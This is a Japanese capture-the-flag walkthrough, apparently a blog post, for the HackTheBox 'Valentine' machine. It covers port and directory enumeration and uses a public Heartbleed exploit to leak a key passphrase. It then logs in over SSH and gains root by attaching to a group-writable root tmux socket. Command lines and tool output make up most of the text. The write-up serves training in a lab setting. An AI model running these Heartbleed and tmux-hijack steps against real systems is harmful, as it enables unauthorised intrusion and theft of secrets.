HackTheBox Valentine
Valentine
列挙
nmap
ポートスキャンを行う
┌──(kali㉿kali)-[~/Desktop/Valentine]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.10.79 -oN nmap.log
Scanning 10.10.10.79 [65535 ports]
Discovered open port 443/tcp on 10.10.10.79
Discovered open port 80/tcp on 10.10.10.79
Discovered open port 22/tcp on 10.10.10.79
Reason: 65531 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
80/tcp open http syn-ack ttl 63 Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject:
60407/tcp filtered unknown no-response
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=9/13%OT=22%CT=1%CU=35577%PV=Y%DS=2%DC=T%G=Y%TM=63202DC
OS:TG=40%CD=S)IE(R=Y%DFI=N%T=40%CD=S)
22、80、443番ポートを確認
web
どこかで見たようなハートのイラストが表示された
gobuster
┌──(kali㉿kali)-[~/Desktop/Valentine]
└─$ gobuster dir -u http://10.10.10.79/ -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.79/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/09/13 16:19:51 Starting gobuster in directory enumeration mode
===============================================================
/decode (Status: 200) [Size: 552]
/dev (Status: 301) [Size: 308] [--> http://10.10.10.79/dev/]
/encode (Status: 200) [Size: 554]
/index.php (Status: 200) [Size: 38]
===============================================================
2022/09/13 16:23:30 Finished
===============================================================
decode と encode 、 dev を発見
encode
テキストボックスが表示された
試しに hello と入力すると、aGVsbG8= という文字列が出力された
decode
decode も同じように、テキストボックスが表示される
先程の文字列を入力すると、hello が返ってきた。お互いに作用していることがわかる
dev
hype_key と notes.txt の存在を確認
hype_key
16進数でエンコードされていそう
xxd
┌──(kali㉿kali)-[~/Desktop/Valentine]
└─$ xxd -r -p hype_key valentine.rsa
16進数をバイナリへ変換する
┌──(kali㉿kali)-[~/Desktop/Valentine]
└─$ cat valentine.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----
再度ファイルを確認すると、暗号化された秘密鍵であることがわかる(一部省略)
パスフレーズが分かれば、使用できそう
notes.txt
encode と decode について書いてあるが、パスフレーズには繋がりそうにない
script
他に情報が落ちないので、スクリプトスキャンを実行する
┌──(kali㉿kali)-[~/Desktop/Valentine]
└─$ nmap -T4 --script vuln 10.10.10.79 -oN script.log
〜
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| http://www.openssl.org/news/secadv_20140407.txt
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|_ http://cvedetails.com/cve/2014-0160/
〜
web ページでハートのロゴが表示された通り、やはり heartbleed の脆弱性が存在しているらしい。
searchsploit
┌──(kali㉿kali)-[~/Desktop/Valentine]
└─$ searchsploit heartbleed
---------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------- ---------------------------------
OpenSSL 1.0.1f TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure (Multiple SSL/TLS Ver | multiple/remote/32764.py
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Information Leak (1) | multiple/remote/32791.c
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Information Leak (2) (DTLS Support) | multiple/remote/32998.c
OpenSSL TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure | multiple/remote/32745.py
---------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
脆弱性を確認
32764.py
┌──(kali㉿kali)-[~/Desktop/Valentine]
└─$ python 32764.py 10.10.10.79
Trying SSL 3.0...
Connecting...
Sending Client Hello...
Waiting for Server Hello...
〜
00e0: 31 2F 64 65 63 6F 64 65 2E 70 68 70 0D 0A 43 6F 1/decode.php..Co
00f0: 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C ntent-Type: appl
0100: 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F ication/x-www-fo
0110: 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 43 rm-urlencoded..C
0120: 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 34 ontent-Length: 4
0130: 32 0D 0A 0D 0A 24 74 65 78 74 3D 61 47 56 68 63 2....$text=aGVhc
0140: 6E 52 69 62 47 56 6C 5A 47 4A 6C 62 47 6C 6C 64 nRibGVlZGJlbGlld
0150: 6D 56 30 61 47 56 6F 65 58 42 6C 43 67 3D 3D 7B mV0aGVoeXBlCg=={
〜
データを取得するため、何度か実行
aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== という文字列を取得できた
decode を使用すると、heartbleedbelievethehype という文字列が出力された
hype としてのシェル
SSH
openssl を使用し復号化することも可能だが、今回は直接パスフレーズを使用
┌──(kali㉿kali)-[~/Desktop/Valentine]
└─$ ssh -i valentine.rsa hype@10.10.10.79
Enter passphrase for key 'valentine.rsa':
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)
* Documentation: https://help.ubuntu.com/
New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3
hype@Valentine:~$ whoami
hype
シェルの取得に成功
user フラグ
hype@Valentine:~$ cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
フラグの取得成功
権限昇格
ps
hype@Valentine:~$ ps -ef | grep tmux
root 1002 1 0 00:08 ? 00:00:01 /usr/bin/tmux -S /.devs/dev_sess
hype 4867 4763 0 01:15 pts/2 00:00:00 grep --color=auto tmux
root として tmux が実行されることがわかる
man
man tmux を実行し、どのような動きをするか確認する
-S socket-path
Specify a full alternative path to the server socket. If -S is specified, the default socket directory
is not used and any -L flag is ignored.
-S でソケットのパスを指定していることがわかる
.devs/dev_sess
hype@Valentine:/.devs$ ls -l
total 0
srw-rw---- 1 root hype 0 Sep 13 00:08 dev_sess
所有者は root であるが、グループが hype であるため、読み込み/書き込み可能であることがわかる
tmux はシェルを複製することが可能であるため、実行することで、root のシェルを取得できるかもしれない
root としてのシェル
tmux
hype@Valentine:~$ tmux -S /.devs/dev_sess
root@Valentine:/home/hype# whoami
root
権限昇格成功
root フラグ
root@Valentine:~# cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
フラグ取得成功
所感
今回のボックスは、heartbleed を知っていたかで攻略の難易度が変わってくると思う。こういったボックスに対応できるように日頃から学習、情報収集をするようにしたい。
Discussion